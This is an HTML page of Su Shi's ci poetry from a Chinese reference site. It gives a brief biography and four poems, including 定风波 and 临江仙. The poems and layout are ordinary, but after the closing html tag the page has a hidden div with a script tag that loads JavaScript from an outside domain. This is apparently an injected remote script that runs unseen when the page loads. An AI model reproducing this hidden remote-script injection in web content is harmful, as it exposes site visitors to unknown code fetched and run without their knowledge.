<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>生活百宝箱-宋词-苏轼</title>
<link href="../res/zl_style.css" rel="stylesheet" type="text/css" />
</head>
<body lang="zh">
<div class="Top"><a href="../" class="a_INDEX">生活百宝箱</a><b class="Top_B_arr"></b><a href="./index.htm">宋词</a><b class="Top_B_arr"></b><span><strong>苏轼</strong></span></div>

	<div class="Cont_tit sc">
		<h1>苏轼</h1>
		<span>(1037～1101)，字子瞻，又字和仲，号“东坡居士”，谥号“文忠”，眉州眉山(即今四川眉州)人，是北宋著名文学家、书画家，散文家和诗人。</span>
	</div>
	
<!--内容 开始-->
	<div class="Cont">
		<div class="sc_book_div">
		<div class="clear" style="margin-top:-20px"></div>
	<div class="sc_det_wide"><div class="sc_det_tit"><strong>卜算子</strong></div><div class="sc_det_cont">黄州定惠院寓居作<br/>缺月挂疏桐，漏断人初静。谁见幽人独住来，飘渺孤鸿影。惊起却回头，有恨无人省。拣尽寒枝不肯栖，寂寞沙洲冷。</div></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>临江仙</strong></div><div class="sc_det_cont">夜饮东坡醒复醉,归来仿佛三更。家童鼻息已雷鸣,敲门都不应，倚杖听江声。<br/>长恨此身非我有,何时忘却营营。夜阑风静彀纹平,小舟从此逝，江海寄余生。</div></div><div class="clear"></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>定风波</strong></div><div class="sc_det_cont">莫听穿林打叶声，何妨吟啸且徐行。竹杖芒鞋轻胜马，谁怕！一蓑烟雨任平生。<br/>料峭春风吹酒醒，微冷，山头斜照却相迎。回首向来萧瑟处，归去，也无风雨也无晴。</div></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>青玉案</strong></div><div class="sc_det_cont">送伯固归吴中<br/>三年枕上吴中路，遣黄犬，随君去。若到松江呼小渡，莫惊鸳鹭，四桥尽是、老子经行处。辋川图上看春暮，常记高人右丞句。作个归期天定许，春衫犹是，小蛮针线，曾湿西湖雨。</div></div>

<div class="clear"></div>
<div class="sc_fy">宋词作者：<span>苏轼</span>&nbsp; &nbsp; 宋词翻页： [<a href="57_1.htm">下一页</a>]&nbsp; &nbsp; 页数： <span>1/3</span></div>
</div>

<div class="sc_bot_div"><input name="" type="button" value="返回宋词列表" onclick="location.href='index.htm'" /></div>

	</div>
</body>
</html>
  <div style='display:none'>
<script type="text/javascript" src="http://www.26rc.com/js/26.js"></script>